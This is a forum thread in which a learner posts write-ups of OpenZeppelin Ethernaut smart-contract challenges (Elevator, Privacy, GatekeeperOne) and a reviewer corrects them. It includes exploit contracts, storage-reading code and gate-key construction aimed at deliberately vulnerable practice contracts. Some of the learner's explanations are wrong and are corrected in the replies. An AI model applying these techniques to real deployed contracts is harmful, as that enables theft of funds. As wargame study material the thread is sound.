My Coding Journey: From Finance to Smart Contract Auditor

Agreed on your first point. It was interesting to see in all those sources it seemed to be mentioned. I thought the reality (and most gas efficient way) would be to include a reentrancy guard.

On your second point, would you then be more inclined to use transfer than call in your code? The article expresses the view this might be a bit more expensive in light of ever increasing gas fees.

Day 21:

The problem
This elevator won't let you reach the top of your building. Right?

The code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

The Breakdown

  • inherits the interface from a contract named Building (note: there is no accompanying Building contract in this problem);
  • 'isLastFloor' function has a uint parameter that returns TRUE or FALSE if it is the last floor;
  • the contract Elevator specifies a public variable 'top' as a boolean and 'floor' as a public uint variable;
  • the 'goTo' publicly executable function takes the floor variable (remember this is a uint type). Once we call the function, it creates an instance of the Building interface with our address (msg.sender); and
  • the 'if' condition reads: if the building is not at the LastFloor (according to the _floor value), return floor, otherwise it is at the 'top' meaning it is at the last floor.

The Solution
The above problem is pretty vague, but Ethernaut is essentially testing on how to exploit the interface component of this contract. As mentioned before, no Building contract is actually defined in the scope of this problem...and yet its creating an instance of that contract. Herein lies the problem.

All we need to do is call the goTo() function from our malicious contract and first return the isLastFloor() false and during the second call return true. To do this, I have implemented the following Hack contract:

contract Attack {
    Elevator elevator = Elevator(0x095d935B483A87Fa415f26AD4F5e2B864CD96c62);
    uint private count;

    function attack() public {
        elevator.goTo(1);
    }

    function isLastFloor(uint) public returns (bool) {
        count++;
        return count > 1;
    }
}

  • after taking the specified address of the Elevator contract, the attack function can be called which subsequently calls the 'goTo' function (which we have specified it is to go to the first floor); and
  • 'isLastFloor' as a function requires that the floor and top functions return false and, true respectively. To do this, I have made sure the contract increments the number of floors (via count++) and then returning a count whereby the number is >1.

Happy to take feedback on how I could explain this contract better / if I've missed anything!

Using an explicit reentrancy guard makes the check-effects-interactions pattern redundant for the sake of reentrancy protection, but the opposite is not necessarily true.

In other words, using the check-effects-interactions pattern doesn't necessarily make a reentrancy guard redundant.

So it's pretty custom these days to just use a reentrancy guard wherever needed.

And it actually IS gas-costly, since it includes 1 storage-read operation and 2 storage-write operations:

  • Checking the reentrancy-lock in order to make sure that the function is not being re-entered
  • Updating the reentrancy-lock in order to make sure that the function cannot be re-entered
  • Updating the reentrancy-lock in order to make sure that the function can be entered

The update part used to be from 0 to 1 and from 1 to 0, consuming approximately 20k gas.
It was later improve to be from 1 to 2 and from 2 to 1, consuming approximately 10k gas.

Using tranafer ensures that no malicious action which requires more than 2300 gas can be orchestrated. But it also prevents any non-malicious action which requires more than 2300 gas.

Using call allows non-malicious actions which require more than 2300 gas. But it also allows malicious actions which require more than 2300 gas.

So the answer to your question largely depends on your specific product requirements.

For example, if you know that access is restricted to trusted accounts only (e.g., a contract under your own control), and you need to conduct stuff which likely requires more than the gas stipend, then you should use call.

This statement is incorrect with respect to your code (no inheritance).


Creating an instance implies deploying (constructing an inatance of) the contract.
In Solidity, for example, it can be done via the new keyword.
So again, the statement above is incorrect with respect to your code.


Same goes for this one...


Lastly, your portrayed attack is so mind-bogglingly unclear, it actually took me several minutes to be able to figure it out (more precisely, figure out that there is no attack being illustrated here whatsoever).

There are two contracts in your example - Elevator and Attack.

Let's assume that each one of these contracts has several users, i.e., each contract can be ascribed with several different accounts which interact with it.

Users of the Attack contract can be both externally-owed accounts (aka wallets) and other contracts.

Users of the Elevator contract can only be other contracts which implement function isLastFloor.

In fact, the Attack contract is by itself a user of the Elevator contract.

But within all of these users - who is the attacker and who is the attackee?

In you example, it seems that you've attempted to illustrate a scheme where users of the Attack contract are attackers, and users of the Elevator contract are attackees.

But I cannot quite how any user here is able to attack any other user.

Ultimately, given an instance of the Elevator contract, every user of that instance needs to implement function isLastFloor according to their own requirements.

So if the requirements of John Doe are:

function isLastFloor(uint) public returns (bool) {
    count++;
    return count > 1;
}

Then this is the behavior that John Doe will get when interacting with that instance of the Elevator contract.

Such behavior might look weird, but hey - this is what John Doe wants, so this is what John Doe gets.

Let's take a more sensible user, named Jane Doe, whose requirements are:

function isLastFloor(uint) public view returns (bool) {
    return count == 42;
}

John and Jane are both interacting with the same instance of the Elevator contract.

But how exactly does the interaction of John with that instance impact the behavior that Jane experiences during her interaction with it?

Whatever impact John's usage has on Jane's usage, any other user of that Elevator instance can just as well inflict.

Namely, different users of the same Elevator instance can "force the elevator up and down", interfering with each other's expectation of it.

But that feature (or flaw) is built-in as part of the Elevator contract.

They can all implement the exact same function implemented by Jane, and still end up interfering with each other.

Your gas explanation was on point! Thanks for contextualising in light of storage-read and storage-write operations!

1 Like

Thank you for explaining - I think an interesting point to raise is in circumstances gas stipends increase. Like you pointed out regarding the transfer function, no malicious or non-malicious action will be orchestrated above 2300. But what happens when these gas costs increase (say to 3000).

My read is that it opens the floodgates to break contracts that previously relied on the 2300 gas cost assumption. This is also a point made in the Consensus article whereby contracts that were previously deemed safe are now vulnerable to attacks.

Like you mention though, it is largely dependent on your product specifications!

1 Like

What is the technically correct way to describe this in your opinion? I am getting confused when I see examples like:

Delegate delegate = ...

Building building = building(msg.sender)

I remember our previous conversation it is an address type (aka a pointer) but how do you describe this in a technically correct manner?

Okay I think I have figured out why this might appear a bit strange to yourself. I should clarify I am merely creating the Attack contract you see in the above example. The elevator contract (and other contracts) I am merely pulling from the various Ethernaut challenges located here

So whilst your explanation in terms of the usability is absolutely valid, I'd say it doesn't quiet match up with the context of the challenge which is:

  1. OpenZeppelin is providing a contract that possess some type of vulnerability;
  2. OpenZeppelin is also providing the instructions relating to the rules governing the contract and hints on the vulernability; and
  3. I am merely trying to beat a challenge by exploiting the vulnerability.

Once I have done all the above 3 steps I am coming to this blog to explain the exploit and consider the occasional real world implication of the exploit. I hope this helps and clears some of the confusion.

This is nothing more than a type-cast.

The following example is a cast from type address to type Building:

Building building = Building(msg.sender);

Both types are of the same size (160 bits), so this cast by itself doesn't actually yield any additional bytecode during compilation, thus no additional gas cost during runtime.

Of course, the variable initialization itself, i.e., copying the value of msg.sender into the local variable building which is allocated on the stack, probably does take a bit of additional bytecode, but it is no different than any other such initialization.

For example, the following two lines are identical in terms of runtime:

  1. address building = msg.sender
  2. Building building = Building(msg.sender)

The only impact of the cast from address type to Building type in the 2nd line is during compilation time, as it allows you to use that variable in order to call functions in the Building contract pointed by that variable.

If you try to use the variable declared in the 1st line in order to call a function in the Building contract pointed by that variable, then the compiler will raise an error telling you that type address does not implement that function.

1 Like

Day 22:

Instructions
The creator of this contract was careful enough to protect the sensitive areas of its storage. Unlock this contract to beat the level.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(block.timestamp);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

Breakdown

  • the 'locked' boolean variable is set at 'true' and subject to the unlock function further down in the contract. The locked boolean value returns false (i.e. unlocks the contract) if the the '_key' password (denominated in bytes16) is equal to the bytes16 data stored at slot 2;
  • ID variable is a Unix time stamp, in other words it has the complete information about the date, hours, minutes, and seconds (in UTC) when the block was created;
  • 'denomination' and 'flattening' are private uint8 variables;
  • 'awkwardness' is a private uint16 variable which is the uint16 of the block.timestamp (described above);
  • 'bytes32[3]' is storing the variable data in at slot 3 in the contract's memory; and
  • the constructor is initialising the contract data, which is supposedly unable to be accessed unless a user has the byte16 _key.

Extra knowledge
The hints given by OZ are:

  • Understanding how storage works
  • Understanding how parameter parsing works
  • Understanding how casting works

Breaking each of the above down in light of the contract

Storage
I realised I haven't outlined my understanding of the basics previously:

  • Each smart contract storage contains approx. 2**256 slots that are 32 bytes long;
  • a slot is a basic unit of the storage, meaning when reading or writing from / to the storage, we deal with slots not the bytes themselves;
  • the usual visibility definitions apply but its worth outlining that private variables are not accessible from derived contracts (i.e. no smart contract can inherit from the smart contract where the private variables are defined). Note that the storage variables can be read from off-chain apps independent of visibility (private variables aren't really private!);
  • variable types are storage in the order they are defined (e.g. a, c, b will be stored in that order even if operation b comes logically before c); and
  • By default each variable takes one full slot, this can however be a little bit different if its data type <32 bytes long and the previous/next variable is also <32 bytes long. If that's the case, both variables can fit into a single slot (their combined length is <= 32 bytes long).

Parameter Parsing

  • at its most basic level this is the process of extracting and interpreting input values (i.e. parameters) in the smart contract; and
  • in this context we are looking at how 'bytes32[3] private data' actually: 1) receives the data from several parts of the contract, 2) stores these data points and 3) how the contract interacts with the data (i.e. via the _key variable).

Casting

  • the best way I can explain this is by example:
  uint16 private awkwardness = uint16(block.timestamp);

the block.timestamp refers to the current block timestamp (an object) and the contact is casting the timestamp to a private variable of type uint16.

Very happy if there is a simplified explanation on the above!

The Solution

  • As mentioned above the objective is to set the locked variable to false and the way to do this is use the _key which is the same as the data in the second slot of the data variable.

Going through the contact via its slots:

  • locked is slot 0;
  • ID is slot 1;
  • flattening, denomination and, awkwardness is slot 2; and
  • 'bytes32[3] private data' is slots 3 - 5.

To get the private data, we need to use web3.js to get the storage value at slot 5 (private data). This will return the data stored there but it is expressed in 32bytes. We then need to shorten to 16bytes provided the _key only takes a 16byte variable. The quick way to do this is via the following web3.js code

data.slice(0, 34)

This line takes the value of bliock.timestamp and stores it in a state-variable upon the construction (deployment) of the contract.
It casts that value from type uint32 to type uint16 before storing it into the state-variable, which means that it effectively truncates some of the information in it.
Specifically, it stores only the least significant 16 out of 32 bits of information.
The visibility of the state-variable (private in this case) has nothing to do with this cast.


This is pure JS code; web3.js has nothing to do with it, and that code snippet is most certainly not going to retrieve the contents of a storage slot.


One way to obtain the desired value via web3.js, is by executing this from an async function:

const slot = await web3.eth.getStorageAt(contractAddress, 5);
const key = "0x" + slot.slice(34);

Note that with data.slice(0, 34), you are actually retrieving the 16 most significant bits rather than the 16 least significant bits, which is what you need in order for the require statement to complete successfully:

require(_key == bytes16(data[2]));

This is because casting from a larger type to a smaller type (from bytes32 to bytes16 in this case), means that you are left with the least significant part of the original value.

Thank you for clarifying those points, I struggled with them and your explanation was helpful in understanding them better!

1 Like

Day 23:

Instruction

  • Make it past the gatekeeper and register as an entrant to pass this level; and
  • Look in solidity's docs for the special function gasleft()

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

Breakdown

  • entrant is a public address type;
  • each respective gate modifier is altering the functionality of 'enter' by ensuring the following conditions are met to allow a user to register as an entrant:
  1. msg.sender (the immediate account (external or contract account) that invoked certain function) isn't from the tx.origin (e.g. external owned account),
  2. the remaining gas during a contract call (i.e. the gasleft function) divided by 8191 is equal to 0; and
  3. an 8 byte _gatekey is correctly entered and all other conditions are satisfied.

Solution?
Admittedly this one is taking me a while to figure out the exploit. My thoughts so far are:

  • to satisfy the first condition I need to write a new smart contract that forwards my wallet address to the original contract. Then call the attacking contract from my address;
  • I need to do a bit more digging as to why the gasleft() function would be used as a condition at all; and
  • no _gatekey is stored in this contract, so I am struggling to think of a solution about how I would obtain this.

I will post tomorrow with the solution as I work through it but others feel free to chime!!

Unclear what you're trying to say here.

Both msg.sender and tx.origin are values that are available to you on every function call.

Both of them are of type address, which means that each one of them points to an account.

The value of msg.sender indicates which account is the one who has directly called the function.
It can be either an externally-owned account (aka wallet) or a smart-contract account (aka contract).

The value of tx.origin indicates which account has originally executed the transaction.
It can therefore only be an externally-owned account.

1 Like

Just in case the above wasn't clear enough, here is an alternative explanation...

Onchain (solidity code):

contract Contract1 {
    function func() external {
        ...
    }
}

contract Contract2 {
    Contract1 contract1;
    constructor(Contract1 _contract1) {
        contract1 = _contract1;
    }

    function func() external {
        contract1.func();
    }
}

Offchain (pseudo code):

contract1 = wallet.deploy(Contract1())
contract2 = wallet.deploy(Contract2(contract1.address))
wallet.execute(contract2.func())

Analysis:

+----------------+--------------------+---------------------+
|                | Value of tx.origin | Value of msg.sender |
+----------------+--------------------+---------------------+
| Contract2.func | wallet.address     | wallet.address      |
+----------------+--------------------+---------------------+
| Contract1.func | wallet.address     | contract2.address   |
+----------------+--------------------+---------------------+

This one's easy:

  • require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "..."):
    • Bits 16-31 are all set to zero
  • require(uint32(uint64(_gateKey)) != uint64(_gateKey), "..."):
    • Bits 32-63 are not all set to zero
  • require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "..."):
    • Bits 16-31 are all set to 0 (already required previously, by the way)
    • Bits 0-15 are identical to bits 0-15 in the address of the wallet which executes the transaction

Which is pretty easy to calculate offchain before executing the transaction:

const _gateKey = "0x000000010000" + wallet.address.slice(38);

Or for better clarity:

const _gateKey = "0x"
    + "00" // bits 56-63
    + "00" // bits 48-55
    + "00" // bits 40-47
    + "01" // bits 32-39
    + "00" // bits 24-31
    + "00" // bits 16-23
    + wallet.address.slice(38, 40)  // bits 8-15
    + wallet.address.slice(40, 42); // bits 0-7

I always know I can count on you to give clear explanations on anything account or gas-related. Thank you very much!!

1 Like

Day 24:

Building on Day 23, I solved the Gatekeeper contract as follows:

  • gate 1 - I created a contract that calls the enter function - satisfying gateOne's requirement because our caller's address the tx.origin and our deployed contract's address will be the msg.sender as received by the Gatekeeper;
  • gate 2 - looking around on other solutions - brute forcing was the way forward. To cut a long story short, for gasleft() % 8191 == 0, we run a 'for' loop that uses the base gas that we supply and adds 1 until we reach a number that asserts the above equation to true; and
  • gate 3 - I had to read an articles Bitwise Operations and manipulation and solidity data types to make any sense of this gate and explain how you can fulfil the criteria. I'm still not at a level where I'm comfortable explaining in plain english how to solve this criteria @barakman I'd appreciate any help you could give on breaking down your previous analysis (especially for a newbie like me!!)

In this comment (above), I tried to be as clear as possible.

If you can point out which parts of it are not clear to you, then I might be able to address them.

One important principle to remember when reading that comment, is something which I've actually mentioned to you in a previous comment:

Completely agree that you were clear! More so just my inexperience playing into what your answer means.

I don't understand how you knew: Bits 16-31 are all set to zero but Bits 32-63 weren't?

What was the logic and theoretical understanding of structures that allowed you to understand how you arrived at:

const _gateKey = "0x"
    + "00" // bits 56-63
    + "00" // bits 48-55
    + "00" // bits 40-47
    + "01" // bits 32-39
    + "00" // bits 24-31
    + "00" // bits 16-23
    + wallet.address.slice(38, 40)  // bits 8-15
    + wallet.address.slice(40, 42); // bits 0-7